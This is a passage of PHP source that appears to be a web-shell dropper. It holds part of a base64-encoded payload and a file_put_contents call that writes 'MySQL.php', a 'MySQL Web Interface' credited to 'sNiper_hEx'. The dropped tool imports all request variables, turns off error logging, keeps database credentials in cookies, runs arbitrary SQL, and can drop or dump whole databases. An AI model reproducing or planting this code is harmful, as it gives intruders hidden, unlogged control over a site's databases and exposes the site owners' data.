dWVyeSggIkZsdXNoIHN0YXR1cyIgKSAhPSBmYWxzZSApCgkJCQllY2hvICI8Zm9udCBzaXplPTIg
Y29sb3I9cmVkPi0gU3VjY2VzczwvZm9udD4iOwoJCQllbHNlCgkJCQllY2hvICI8Zm9udCBzaXpl
PTIgY29sb3I9cmVkPi0gRmFpbDwvZm9udD4iOwoJCX0KCQllY2hvICI8L3VsPlxuIjsKCX0gZWxz
ZSB7CgkJJHF1ZXJ5U3RyID0gZXJlZ19yZXBsYWNlKCAiXyIsICIgIiwgJGNvbW1hbmQgKTsKCQkk
cFJlc3VsdCA9IG15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIgKTsKCQlpZiggJHBSZXN1bHQgPT0gZmFs
c2UgKSB7CgkJCWVjaG8gIkZhaWwiOwoJCQlyZXR1cm47CgkJfQoJCSRjb2wgPSBteXNxbF9udW1f
ZmllbGRzKCAkcFJlc3VsdCApOwoKCQllY2hvICI8cCBjbGFzcz1sb2NhdGlvbj4kcXVlcnlTdHI8
L3A+XG4iOwoJCWVjaG8gIjxocj5cbiI7CgoJCWVjaG8gIjx0YWJsZSBjZWxsc3BhY2luZz0xIGNl
bGxwYWRkaW5nPTIgYm9yZGVyPTA+XG4iOwoJCWVjaG8gIjx0cj5cbiI7CgkJZm9yKCAkaSA9IDA7
ICRpIDwgJGNvbDsgJGkrKyApIHsKCQkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfZmllbGQoICRwUmVz
dWx0LCAkaSApOwoJCQllY2hvICI8dGg+Ii4kZmllbGQtPm5hbWUuIjwvdGg+XG4iOwoJCX0KCQll
Y2hvICI8L3RyPlxuIjsKCgkJd2hpbGUoIDEgKSB7CgkJCSRyb3dBcnJheSA9IG15c3FsX2ZldGNo
X3JvdyggJHBSZXN1bHQgKTsKCQkJaWYoICRyb3dBcnJheSA9PSBmYWxzZSApIGJyZWFrOwoJCQll
Y2hvICI8dHI+XG4iOwoJCQlmb3IoICRqID0gMDsgJGogPCAkY29sOyAkaisrICkKCQkJCWVjaG8g
Ijx0ZD4iLmh0bWxzcGVjaWFsY2hhcnMoICRyb3dBcnJheVskal0gKS4iPC90ZD5cbiI7CgkJCWVj
aG8gIjwvdHI+XG4iOwoJCX0KCQllY2hvICI8L3RhYmxlPlxuIjsKCX0KfQoKZnVuY3Rpb24gaGVh
ZGVyX2h0bWwoKSB7CglnbG9iYWwgJFBIUF9TRUxGOwoJCmVjaG8gJwo8aHRtbD4KPGhlYWQ+Cjx0
aXRsZT5NeVNRTCBJbnRlcmZhY2U8L3RpdGxlPgo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgo8IS0t
CnAubG9jYXRpb24gewoJY29sb3I6ICMxMWJiMzM7Cglmb250LXNpemU6IHNtYWxsOwp9CmgxIHsK
CWNvbG9yOiAjQTRBMjYwOwp9CnRoIHsKCWJhY2tncm91bmQtY29sb3I6ICNCREJFNDI7Cgljb2xv
cjogI0ZGRkZGRjsKCWZvbnQtc2l6ZTogeC1zbWFsbDsKfQp0ZCB7CgliYWNrZ3JvdW5kLWNvbG9y
OiAjREVERkE1OwoJZm9udC1zaXplOiB4LXNtYWxsOwp9CmZvcm0gewoJbWFyZ2luLXRvcDogMDsK
CW1hcmdpbi1ib3R0b206IDA7Cn0KYSB7Cgl0ZXh0LWRlY29yYXRpb246bm9uZTsKCWNvbG9yOiAj
ODQ4MjAwOwoJZm9udC1zaXplOngtc21hbGw7Cn0KYTpsaW5rIHsKfQphOmhvdmVyIHsKCWJhY2tn
cm91bmQtY29sb3I6I0VFRUZENTsKCWNvbG9yOiM2NDYyMDA7Cgl0ZXh0LWRlY29yYXRpb246bm9u
ZSAgICAgICAgICAgICAgIAp9Ci8vLS0+Cjwvc3R5bGU+CjwvaGVhZD4KPGJvZHk+Cic7Cn0KCmZ1
bmN0aW9uIGZvb3Rlcl9odG1sKCkgewoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRh
YmxlbmFtZSwgJFBIUF9TRUxGLCAkVVNFUk5BTUU7CgoJZWNobyAiPGhyPlxuIjsKCWVjaG8gIjxm
b250IHNpemU9MiBjb2xvcj1ibHVlPlskVVNFUk5BTUVdPC9mb250PiAtIFxuIjsKCgllY2hvICI8
YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWxpc3REQnMnPkRhdGFiYXNlIExpc3Q8L2E+IHwgXG4i
OwoJaWYoICR0YWJsZW5hbWUgIT0gIiIgKQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rp
b249bGlzdFRhYmxlcyZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+VGFibGUg
TGlzdDwvYT4gfCAiOwoJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj11dGlscyc+VXRp
bHM8L2E+IHxcbiI7CgllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWxvZ291dCc+TG9n
b3V0PC9hPlxuIjsKCWVjaG8gIjwvZm9udD5cbiI7CgllY2hvICI8L2JvZHk+XG4iOwoJZWNobyAi
PC9odG1sPlxuIjsKfQoKCgoKLy8tLS0tLS0tLS0tLS0tIE1BSU4gLS0tLS0tLS0tLS0tLSAvLwpl
cnJvcl9yZXBvcnRpbmcoMCk7CmluaV9zZXQgKCdkaXNwbGF5X2Vycm9ycycsIDApOwppbmlfc2V0
ICgnbG9nX2Vycm9ycycsIDApOwoKaWYoICRhY3Rpb24gPT0gImxvZ29uIiB8fCAkYWN0aW9uID09
ICIiIHx8ICRhY3Rpb24gPT0gImxvZ291dCIgKQoJbG9nb24oKTsKZWxzZSBpZiggJGFjdGlvbiA9
PSAibG9nb25fc3VibWl0IiApCglsb2dvbl9zdWJtaXQoKTsKZWxzZSBpZiggJGFjdGlvbiA9PSAi
ZHVtcFRhYmxlIiB8fCAkYWN0aW9uID09ICJkdW1wREIiICkgewoJd2hpbGUoIGxpc3QoJHZhciwg
JHZhbHVlKSA9IGVhY2goJEhUVFBfQ09PS0lFX1ZBUlMpICkgewoJCWlmKCAkdmFyID09ICJteXNx
bF93ZWJfYWRtaW5fdXNlcm5hbWUiICkgJFVTRVJOQU1FID0gJHZhbHVlOwoJCWlmKCAkdmFyID09
ICJteXNxbF93ZWJfYWRtaW5fcGFzc3dvcmQiICkgJFBBU1NXT1JEID0gJHZhbHVlOwoJCWlmKCAk
dmFyID09ICJteXNxbF93ZWJfYWRtaW5faG9zdG5hbWUiICkgJEhPU1ROQU1FID0gJHZhbHVlOwoJ
fQoJJG15c3FsSGFuZGxlID0gbXlzcWxfcGNvbm5lY3QoICRIT1NUTkFNRSwgJFVTRVJOQU1FLCAk
UEFTU1dPUkQgKTsKCWR1bXAoKTsKfSBlbHNlIHsKCXdoaWxlKCBsaXN0KCR2YXIsICR2YWx1ZSkg
PSBlYWNoKCRIVFRQX0NPT0tJRV9WQVJTKSApIHsKCQlpZiggJHZhciA9PSAibXlzcWxfd2ViX2Fk
bWluX3VzZXJuYW1lIiApICRVU0VSTkFNRSA9ICR2YWx1ZTsKCQlpZiggJHZhciA9PSAibXlzcWxf
d2ViX2FkbWluX3Bhc3N3b3JkIiApICRQQVNTV09SRCA9ICR2YWx1ZTsKCQlpZiggJHZhciA9PSAi
bXlzcWxfd2ViX2FkbWluX2hvc3RuYW1lIiApICRIT1NUTkFNRSA9ICR2YWx1ZTsKCX0KCWVjaG8g
IjwhLS0iOwoJJG15c3FsSGFuZGxlID0gbXlzcWxfcGNvbm5lY3QoICRIT1NUTkFNRSwgJFVTRVJO
QU1FLCAkUEFTU1dPUkQgKTsKCWVjaG8gIi0tPiI7CgoJaWYoICRteXNxbEhhbmRsZSA9PSBmYWxz
ZSApIHsKCQllY2hvICI8aHRtbD5cbiI7CgkJZWNobyAiPGhlYWQ+XG4iOwoJCWVjaG8gIjx0aXRs
ZT5NeVNRTCBJbnRlcmZhY2U8L3RpdGxlPlxuIjsKCQllY2hvICI8L2hlYWQ+XG4iOwoJCWVjaG8g
Ijxib2R5PlxuIjsKCQllY2hvICI8dGFibGUgd2lkdGg9MTAwJSBoZWlnaHQ9MTAwJT48dHI+PHRk
PjxjZW50ZXI+XG4iOwoJCWVjaG8gIjxoMT5Xcm9uZyBQYXNzd29yZCE8L2gxPlxuIjsKCQllY2hv
ICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWxvZ29uJz5Mb2dvbjwvYT5cbiI7CgkJZWNobyAi
PC9jZW50ZXI+PC90ZD48L3RyPjwvdGFibGU+XG4iOwoJCWVjaG8gIjwvYm9keT5cbiI7CgkJZWNo
byAiPC9odG1sPlxuIjsKCX0gZWxzZSB7CgkJaGVhZGVyX2h0bWwoKTsKCQlpZiggJGFjdGlvbiA9
PSAibGlzdERCcyIgKQoJCQlsaXN0RGF0YWJhc2VzKCk7CgkJZWxzZSBpZiggJGFjdGlvbiA9PSAi
Y3JlYXRlREIiICkKCQkJY3JlYXRlRGF0YWJhc2UoKTsKCQllbHNlIGlmKCAkYWN0aW9uID09ICJk
cm9wREIiICkKCQkJZHJvcERhdGFiYXNlKCk7CgkJZWxzZSBpZiggJGFjdGlvbiA9PSAibGlzdFRh
YmxlcyIgKQoJCQlsaXN0VGFibGVzKCk7CgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiY3JlYXRlVGFi
bGUiICkKCQkJY3JlYXRlVGFibGUoKTsKCQllbHNlIGlmKCAkYWN0aW9uID09ICJkcm9wVGFibGUi
ICkKCQkJZHJvcFRhYmxlKCk7CgkJZWxzZSBpZiggJGFjdGlvbiA9PSAidmlld1NjaGVtYSIgKQoJ
CQl2aWV3U2NoZW1hKCk7CgkJZWxzZSBpZiggJGFjdGlvbiA9PSAicXVlcnkiICkKCQkJdmlld0Rh
dGEoICRxdWVyeVN0ciApOwoJCWVsc2UgaWYoICRhY3Rpb24gPT0gImFkZEZpZWxkIiApCgkJCW1h
bmFnZUZpZWxkKCAiYWRkIiApOwoJCWVsc2UgaWYoICRhY3Rpb24gPT0gImFkZEZpZWxkX3N1Ym1p
dCIgKQoJCQltYW5hZ2VGaWVsZF9zdWJtaXQoICJhZGQiICk7CgkJZWxzZSBpZiggJGFjdGlvbiA9
PSAiZWRpdEZpZWxkIiApCgkJCW1hbmFnZUZpZWxkKCAiZWRpdCIgKTsKCQllbHNlIGlmKCAkYWN0
aW9uID09ICJlZGl0RmllbGRfc3VibWl0IiApCgkJCW1hbmFnZUZpZWxkX3N1Ym1pdCggImVkaXQi
ICk7CgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZHJvcEZpZWxkIiApCgkJCWRyb3BGaWVsZCgpOwoJ
CWVsc2UgaWYoICRhY3Rpb24gPT0gInZpZXdEYXRhIiApCgkJCXZpZXdEYXRhKCAiIiApOwoJCWVs
c2UgaWYoICRhY3Rpb24gPT0gImFkZERhdGEiICkKCQkJbWFuYWdlRGF0YSggImFkZCIgKTsKCQll
bHNlIGlmKCAkYWN0aW9uID09ICJhZGREYXRhX3N1Ym1pdCIgKQoJCQltYW5hZ2VEYXRhX3N1Ym1p
dCggImFkZCIgKTsKCQllbHNlIGlmKCAkYWN0aW9uID09ICJlZGl0RGF0YSIgKQoJCQltYW5hZ2VE
YXRhKCAiZWRpdCIgKTsKCQllbHNlIGlmKCAkYWN0aW9uID09ICJlZGl0RGF0YV9zdWJtaXQiICkK
CQkJbWFuYWdlRGF0YV9zdWJtaXQoICJlZGl0IiApOwoJCWVsc2UgaWYoICRhY3Rpb24gPT0gImRl
bGV0ZURhdGEiICkKCQkJZGVsZXRlRGF0YSgpOwoJCWVsc2UgaWYoICRhY3Rpb24gPT0gInV0aWxz
IiApCgkJCXV0aWxzKCk7CgoJCW15c3FsX2Nsb3NlKCAkbXlzcWxIYW5kbGUpOwoJCWZvb3Rlcl9o
dG1sKCk7Cgl9Cn0KCj8+';
file_put_contents('MySQL.php', "<?php\n\n/*\n * MySQL Web Interface Version 2\n * -------------------------------\n * Developed By sNiper_hEx\n*/\n\nif ( function_exists('ini_get') ) {\n\t\$onoff = ini_get('register_globals');\n} else {\n\t\$onoff = get_cfg_var('register_globals');\n}\nif (\$onoff != 1) {\n\t@extract(\$HTTP_SERVER_VARS, EXTR_SKIP);\n\t@extract(\$HTTP_COOKIE_VARS, EXTR_SKIP);\n\t@extract(\$HTTP_POST_FILES, EXTR_SKIP);\n\t@extract(\$HTTP_POST_VARS, EXTR_SKIP);\n\t@extract(\$HTTP_GET_VARS, EXTR_SKIP);\n\t@extract(\$HTTP_ENV_VARS, EXTR_SKIP);\n}\n\nfunction logon() {\n\tglobal \$PHP_SELF;\n\n\tsetcookie( \"mysql_web_admin_username\" );\n\tsetcookie( \"mysql_web_admin_password\" );\n\tsetcookie( \"mysql_web_admin_hostname\" );\n\techo \"<html>\\n\";\n\techo \"<head>\\n\";\n\techo \"<title>MySQL Interface</title>\\n\";\n\techo \"</head>\\n\";\n\techo \"<body>\\n\";\n\techo \"<table width=100% height=100%><tr><td><center>\\n\";\n\techo \"<table cellpadding=2><tr><td bgcolor=#a4a260><center>\\n\";\n\techo \"<table cellpadding=20><tr><td bgcolor=#ffffff><center>\\n\";\n\techo \"<h1>MySQL Web Interface</h1>\\n\";\n\techo \"<form action='\$PHP_SELF'>\\n\";\n\techo \"<input type=hidden name=action value=logon_submit>\\n\";\n\techo \"<table cellpadding=5 cellspacing=1>\\n\";\n\techo \"<tr><td>Hostname </td><td> <input type=text name=hostname value='localhost'></td></tr>\\n\";\n\techo \"<tr><td>Username </td><td> <input type=text name=username></td></tr>\\n\";\n\techo \"<tr><td>Password </td><td> <input type=password name=password></td></tr>\\n\";\n\techo \"</table><p>\\n\";\n\techo \"<input type=submit value='Enter'>\\n\";\n\techo \"<input type=reset value='Clear'><br>\\n\";\n\techo \"</form>\\n\";\n\techo \"</center></td></tr></table>\\n\";\n\techo \"</center></td></tr></table>\\n\";\n\techo \"<p><hr width=300>\\n\";\n\techo \"</center></td></tr></table>\\n\";\n\techo \"</body>\\n\";\n\techo \"</html>\\n\";\n}\n\nfunction logon_submit() {\n\tglobal \$username, \$password, \$hostname ,\$PHP_SELF;\n\tif(\$hostname =='')\n\t\t\$hostname = 'localhost';\n\tsetcookie( \"mysql_web_admin_username\", \$username );\n\tsetcookie( \"mysql_web_admin_password\", \$password );\n\tsetcookie( \"mysql_web_admin_hostname\", \$hostname );\n\techo \"<html>\";\n\techo \"<head>\";\n\techo \"<META HTTP-EQUIV=Refresh CONTENT='0; URL=\$PHP_SELF?action=listDBs'>\";\n\techo \"</head>\";\n\techo \"</html>\";\n}\n\nfunction echoQueryResult() {\n\tglobal \$queryStr, \$errMsg;\n\n\tif( \$errMsg == \"\" ) \$errMsg = \"Success\";\n\tif( \$queryStr != \"\" ) {\n\t\techo \"<table cellpadding=5>\\n\";\n\t\techo \"<tr><td>Query</td><td>\$queryStr</td></tr>\\n\";\n\t\techo \"<tr><td>Result</td><td>\$errMsg</td></tr>\\n\";\n\t\techo \"</table><p>\\n\";\n\t}\n}\n\nfunction listDatabases() {\n\tglobal \$mysqlHandle, \$PHP_SELF;\n\n\techo \"<h1>Databases List</h1>\\n\";\n\n\techo \"<form action='\$PHP_SELF'>\\n\";\n\techo \"<input type=hidden name=action value=createDB>\\n\";\n\techo \"<input type=text name=dbname>\\n\";\n\techo \"<input type=submit value='Create Database'>\\n\";\n\techo \"</form>\\n\";\n\techo \"<hr>\\n\";\n\n\techo \"<table cellspacing=1 cellpadding=5>\\n\";\n\n\t\$pDB = mysql_list_dbs( \$mysqlHandle );\n\t\$num = mysql_num_rows( \$pDB );\n\tfor( \$i = 0; \$i < \$num; \$i++ ) {\n\t\t\$dbname = mysql_dbname( \$pDB, \$i );\n\t\techo \"<tr>\\n\";\n\t\techo \"<td>\$dbname</td>\\n\";\n\t\techo \"<td><a href='\$PHP_SELF?action=listTables&dbname=\$dbname'>Tables</a></td>\\n\";\n\t\techo \"<td><a href='\$PHP_SELF?action=dropDB&dbname=\$dbname' onClick=\\\"return confirm('Drop Database \\'\$dbname\\'?')\\\">Drop</a></td>\\n\";\n\t\techo \"<td><a href='\$PHP_SELF?action=dumpDB&dbname=\$dbname' onClick=\\\"return confirm('Dump Database \\'\$dbname\\'?')\\\">Dump</a></td>\\n\";\n\t\techo \"</tr>\\n\";\n\t}\n\techo \"</table>\\n\";\n}\n\nfunction createDatabase() {\n\tglobal \$mysqlHandle, \$dbname, \$PHP_SELF;\n\n\tmysql_create_db( \$dbname, \$mysqlHandle );\n\tlistDatabases();\n}\n\nfunction dropDatabase() {\n\tglobal \$mysqlHandle, \$dbname, \$PHP_SELF;\n\n\tmysql_drop_db( \$dbname, \$mysqlHandle );\n\tlistDatabases();\n}\n\nfunction listTables() {\n\tglobal \$mysqlHandle, \$dbname, \$PHP_SELF;\n\n\n\techo \"<h1>Tables List</h1>\\n\";\n\techo \"<p class=location>\$dbname</p>\\n\";\n\techoQueryResult();\n\techo \"<form action='\$PHP_SELF'>\\n\";\n\techo \"<input type=hidden name=action value=createTable>\\n\";\n\techo \"<input type=hidden name=dbname value=\$dbname>\\n\";\n\techo \"<input type=text name=tablename>\\n\";\n\techo \"<input type=submit value='Create Table'>\\n\";\n\techo \"</form>\\n\";\n\techo \"<form action='\$PHP_SELF'>\\n\";\n\techo \"<input type=hidden name=action value=query>\\n\";\n\techo \"<input type=hidden name=dbname value=\$dbname>\\n\";\n\techo \"<input type=text size=120 name=queryStr>\\n\";\n\techo \"<input type=submit value='Query'>\\n\";\n\techo \"</form>\\n\";\n\techo \"<hr>\\n\";\n\n\t\$pTable = mysql_list_tables( \$dbname );\n\n\tif( \$pTable == 0 ) {\n\t\t\$msg = mysql_error();\n\t\techo \"<h3>Error : \$msg</h3><p>\\n\";\n\t\treturn;\n\t}\n\t\$num = mysql_num_rows( \$pTable );\n\n\techo \"<table cellspacing=1 cellpadding=5>\\n\";\n\n\tfor( \$i = 0; \$i < \$num; \$i++ ) {\n\t\t\$tablename = mysql_tablename( \$pTable, \$i );\n\n\t\techo \"<tr>\\n\";\n\t\techo \"<td>\\n\";\n\t\techo \"\$tablename\\n\";\n\t\techo \"</td>\\n\";\n\t\techo \"<td>\\n\";\n\t\techo \"<a href='\$PHP_SELF?action=viewSchema&dbname=\$dbname&tablename=\$tablename'>Schema</a>\\n\";\n\t\techo \"</td>\\n\";\n\t\techo \"<td>\\n\";\n\t\techo \"<a href='\$PHP_SELF?action=viewData&dbname=\$dbname&tablename=\$tablename'>Data</a>\\n\";\n\t\techo \"</td>\\n\";\n\t\techo \"<td>\\n\";\n\t\techo \"<a href='\$PHP_SELF?action=dropTable&dbname=\$dbname&tablename=\$tablename' onClick=\\\"return confirm('Drop Table \\'\$tablename\\'?')\\\">Drop</a>\\n\";\n\t\techo \"</td>\\n\";\n\t\techo \"<td>\\n\";\n\t\techo \"<a href='\$PHP_SELF?action=dumpTable&dbname=\$dbname&tablename=\$tablename' onClick=\\\"return confirm('Dump Table \\'\$tablename\\'?')\\\">Dump</a>\\n\";\n\t\techo \"</td>\\n\";\n\t\techo \"</tr>\\n\";\n\t}\n\n\techo \"</table>\";\n}\n\nfunction createTable() {\n\tglobal \$mysqlHandle, \$dbname, \$tablename, \$PHP_SELF, \$queryStr, \$errMsg;\n\n\t\$queryStr = \"CREATE TABLE \$tablename ( no INT )\";\n\tmysql_select_db( \$dbname, \$mysqlHandle );\n\tmysql_query( \$queryStr, \$mysqlHandle );\n\t\$errMsg = mysql_error();\n\n\tlistTables();\n}\n\nfunction dropTable() {\n\tglobal \$mysqlHandle, \$dbname, \$tablename, \$PHP_SELF, \$queryStr, \$errMsg;\n\n\t\$queryStr = \"DROP TABLE \$tablename\";\n\tmysql_select_db( \$dbname, \$mysqlHandle );\n\tmysql_query( \$queryStr, \$mysqlHandle );\n\t\$errMsg = mysql_error();\n\n\tlistTables();\n}\n\nfunction viewSchema() {\n\tglobal \$mysqlHandle, \$dbname, \$tablename, \$PHP_SELF, \$queryStr, \$errMsg;\n\n\techo \"<h1>Table Schema</h1>\\n\";\n\techo \"<p class=location>\$dbname > \$tablename</p>\\n\";\n\n\techoQueryResult();\n\n\techo \"<a href='\$PHP_SELF?action=addField&dbname=\$dbname&tablename=\$tablename'>Add Field</a> | \\n\";\n\techo \"<a href='\$PHP_SELF?action=viewData&dbname=\$dbname&tablename=\$tablename'>View Data</a>\\n\";\n\techo \"<hr>\\n\";\n\n\t\$pResult = mysql_db_query( \$dbname, \"SHOW fields FROM \$tablename\" );\n\t\$num = mysql_num_rows( \$pResult );\n\n\techo \"<table cellspacing=1 cellpadding=5>\\n\";\n\techo \"<tr>\\n\";\n\techo \"<th>Field</th>\\n\";\n\techo \"<th>Type</th>\\n\";\n\techo \"<th>Null</th>\\n\";\n\techo \"<th>Key</th>\\n\";\n\techo \"<th>Default</th>\\n\";\n\techo \"<th>Extra</th>\\n\";\n\techo \"<th colspan=2>Action</th>\\n\";\n\techo \"</tr>\\n\";\n\n\n\tfor( \$i = 0; \$i < \$num; \$i++ ) {\n\t\t\$field = mysql_fetch_array( \$pResult );\n\t\techo \"<tr>\\n\";\n\t\techo \"<td>\".\$field[\"Field\"].\"</td>\\n\";\n\t\techo \"<td>\".\$field[\"Type\"].\"</td>\\n\";\n\t\techo \"<td>\".\$field[\"Null\"].\"</td>\\n\";\n\t\techo \"<td>\".\$field[\"Key\"].\"</td>\\n\";\n\t\techo \"<td>\".\$field[\"Default\"].\"</td>\\n\";\n\t\techo \"<td>\".\$field[\"Extra\"].\"</td>\\n\";\n\t\t\$fieldname = \$field[\"Field\"];\n\t\techo \"<td><a href='\$PHP_SELF?action=editField&dbname=\$dbname&tablename=\$tablename&fieldname=\$fieldname'>Edit</a></td>\\n\";\n\t\techo \"<td><a href='\$PHP_SELF?action=dropField&dbname=\$dbname&tablename=\$tablename&fieldname=\$fieldname' onClick=\\\"return confirm('Drop Field \\'\$fieldname\\'?')\\\">Drop</a></td>\\n\";\n\t\techo \"</tr>\\n\";\n\t}\n\techo \"</table>\\n\";\n\n}\n\nfunction manageField( \$cmd ) {\n\tglobal \$mysqlHandle, \$dbname, \$tablename, \$fieldname, \$PHP_SELF;\n\n\tif( \$cmd == \"add\" )\n\t\techo \"<h1>Add Field</h1>\\n\";\n\telse if( \$cmd == \"edit\" ) {\n\t\techo \"<h1>Edit Field</h1>\\n\";\n\t\t\$pResult = mysql_db_query( \$dbname, \"SHOW fields FROM \$tablename\" );\n\t\t\$num = mysql_num_rows( \$pResult );\n\t\tfor( \$i = 0; \$i < \$num; \$i++ ) {\n\t\t\t\$field = mysql_fetch_array( \$pResult );\n\t\t\tif( \$field[\"Field\"] == \$fieldname ) {\n\t\t\t\t\$fieldtype = \$field[\"Type\"];\n\t\t\t\t\$fieldkey = \$field[\"Key\"];\n\t\t\t\t\$fieldextra = \$field[\"Extra\"];\n\t\t\t\t\$fieldnull = \$field[\"Null\"];\n\t\t\t\t\$fielddefault = \$field[\"Default\"];\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\t\$type = strtok( \$fieldtype, \" (,)\\n\" );\n\t\tif( strpos( \$fieldtype, \"(\" ) ) {\n\t\t\tif( \$type == \"enum\" | \$type == \"set\" ) {\n\t\t\t\t\$valuelist = strtok( \" ()\\n\" );\n\t\t\t} else {\n\t\t\t\t\$M = strtok( \" (,)\\n\" );\n\t\t\t\tif( strpos( \$fieldtype, \",\" ) )\n\t\t\t\t\t\$D = strtok( \" (,)\\n\" );\n\t\t\t}\n\t\t}\n\t}\n\n\techo \"<p class=location>\$dbname > \$tablename</p>\\n\";\n\techo \"<form action=\$PHP_SELF>\\n\";\n\n\tif( \$cmd == \"add\" )\n\t\techo \"<input type=hidden name=action value=addField_submit>\\n\";\n\telse if( \$cmd == \"edit\" ) {\n\t\techo \"<input type=hidden name=action value=editField_submit>\\n\";\n\t\techo \"<input type=hidden name=old_name value=\$fieldname>\\n\";\n\t}\n\techo \"<input type=hidden name=dbname value=\$dbname>\\n\";\n\techo \"<input type=hidden name=tablename value=\$tablename>\\n\";\n\n\techo \"<h3>Name</h3>\\n\";\n\techo \"<input type=text name=name value=\$fieldname><p>\\n\";\n\techo '\n\n<h3>Type</h3>\n\n<font size=2>\n* `M\\' indicates the maximum display size.<br>\n* `D\\' applies to floating-point types and indicates the number of digits following the decimal point.<br>\n</font>\n\n<table>\n<tr>\n<th>Type</th><th> M </th><th> D </th><th>unsigned</th><th>zerofill</th><th>binary</th>\n</tr>\n<tr>\n<td><input type=radio name=type value=\"TINYINT\" '; if( \$type == \"tinyint\" ) echo \"checked\";echo '>TINYINT (-128 ~ 127)</td>\n<td align=center>O</td>\n<td> </td>\n<td align=center>O</td>\n<td align=center>O</td>\n<td> </td>\n</tr>\n<tr>\n<td><input type=radio name=type value=\"SMALLINT\" '; if( \$type == \"smallint\" ) echo \"checked\";echo '>SMALLINT (-32768 ~ 32767)</td>\n<td align=center>O</td>\n<td> </td>\n<td align=center>O</td>\n<td align=center>O</td>\n<td> </td>\n</tr>\n<tr>\n<td><input type=radio name=type value=\"MEDIUMINT\" '; if( \$type == \"mediumint\" ) echo \"checked\";echo '>MEDIUMINT (-8388608 ~ 8388607)</td>\n\n<td align=center>O</td>\n<td> </td>\n<td align=center>O</td>\n<td align=center>O</td>\n<td> </td>\n</tr>\n<tr>\n<td><input type=radio name=type value=\"INT\" '; if( \$type == \"int\" ) echo \"checked\";echo '>INT (-2147483648 ~ 2147483647)</td>\n<td align=center>O</td>\n<td> </td>\n<td align=center>O</td>\n<td align=center>O</td>\n<td> </td>\n</tr>\n<tr>\n<td><input type=radio name=type value=\"BIGINT\" '; if( \$type == \"bigint\" ) echo \"checked\";echo '>BIGINT (-9223372036854775808 ~ 9223372036854775807)</td>\n<td align=center>O</td>\n<td> </td>\n<td align=center>O</td>\n<td align=center>O</td>\n<td> </td>\n</tr>\n<tr>\n<td><input type=radio name=type value=\"FLOAT\" '; if( \$type == \"float\" ) echo \"checked\";echo '>FLOAT</td>\n<td align=center>O</td>\n<td align=center>O</td>\n<td> </td>\n<td align=center>O</td>\n<td> </td>\n</tr>\n<tr>\n<td><input type=radio name=type value=\"DOUBLE\" '; if( \$type == \"double\" ) echo \"checked\";echo '>DOUBLE</td>\n<td align=center>O</td>\n<td align=center>O</td>\n<td> </td>\n<td align=center>O</td>\n<td> </td>\n</tr>\n<tr>\n<td><input type=radio name=type value=\"DECIMAL\" '; if( \$type == \"decimal\" ) echo \"checked\";echo '>DECIMAL(NUMERIC)</td>\n<td align=center>O</td>\n<td align=center>O</td>\n<td> </td>\n<td align=center>O</td>\n<td> </td>\n</tr>\n<tr>\n<td><input type=radio name=type value=\"DATE\" '; if( \$type == \"date\" ) echo \"checked\";echo '>DATE (1000-01-01 ~ 9999-12-31, YYYY-MM-DD)</td>\n<td> </td>\n<td> </td>\n<td> </td>\n<td> </td>\n<td> </td>\n</tr>\n<tr>\n<td><input type=radio name=type value=\"DATETIME\" '; if( \$type == \"datetime\" ) echo \"checked\";echo '>DATETIME (1000-01-01 00:00:00 ~ 9999-12-31 23:59:59, YYYY-MM-DD HH:MM:SS)</td>\n<td> </td>\n<td> </td>\n<td> </td>\n<td> </td>\n<td> </td>\n</tr>\n<tr>\n<td><input type=radio name=type value=\"TIMESTAMP\" '; if( \$type == \"timestamp\" ) echo \"checked\";echo '>TIMESTAMP (1970-01-01 00:00:00 ~ 2106..., YYYYMMDD[HH[MM[SS]]])</td>\n<td align=center>O</td>\n<td> </td>\n<td> </td>\n<td> </td>\n<td> </td>\n</tr>\n<tr>\n<td><input type=radio name=type value=\"TIME\" '; if( \$type == \"time\" ) echo \"checked\";echo '>TIME (-838:59:59 ~ 838:59:59, HH:MM:SS)</td>\n<td> </td>\n<td> </td>\n<td> </td>\n<td> </td>\n<td> </td>\n</tr>\n<tr>\n<td><input type=radio name=type value=\"YEAR\" '; if( \$type == \"year\" ) echo \"checked\";echo '>YEAR (1901 ~ 2155, 0000, YYYY)</td>\n<td> </td>\n<td> </td>\n<td> </td>\n<td> </td>\n<td> </td>\n</tr>\n<tr>\n<td><input type=radio name=type value=\"CHAR\" '; if( \$type == \"char\" ) echo \"checked\";echo '>CHAR</td>\n<td align=center>O</td>\n<td> </td>\n<td> </td>\n<td> </td>\n<td align=center>O</td>\n</tr>\n<tr>\n<td><input type=radio name=type value=\"VARCHAR\" '; if( \$type == \"varchar\" ) echo \"checked\";echo '>VARCHAR</td>\n<td align=center>O</td>\n<td> </td>\n<td> </td>\n<td> </td>\n<td align=center>O</td>\n</tr>\n<tr>\n<td><input type=radio name=type value=\"TINYTEXT\" '; if( \$type == \"tinytext\" ) echo \"checked\";echo '>TINYTEXT (0 ~ 255)</td>\n<td> </td>\n<td> </td>\n<td> </td>\n<td> </td>\n<td> </td>\n</tr>\n<tr>\n<td><input type=radio name=type value=\"TEXT\" '; if( \$type == \"text\" ) echo \"checked\";echo '>TEXT (0 ~ 65535)</td>\n<td> </td>\n<td> </td>\n<td> </td>\n<td> </td>\n<td> </td>\n</tr>\n<tr>\n<td><input type=radio name=type value=\"MEDIUMTEXT\" '; if( \$type == \"mediumtext\" ) echo \"checked\";echo '>MEDIUMTEXT (0 ~ 16777215)</td>\n<td> </td>\n<td> </td>\n<td> </td>\n<td> </td>\n<td> </td>\n</tr>\n<tr>\n<td><input type=radio name=type value=\"LONGTEXT\" '; if( \$type == \"longtext\" ) echo \"checked\";echo '>LONGTEXT (0 ~ 4294967295)</td>\n<td> </td>\n<td> </td>\n<td> </td>\n<td> </td>\n<td> </td>\n</tr>\n<tr>\n<td><input type=radio name=type value=\"TINYBLOB\" '; if( \$type == \"tinyblob\" ) echo 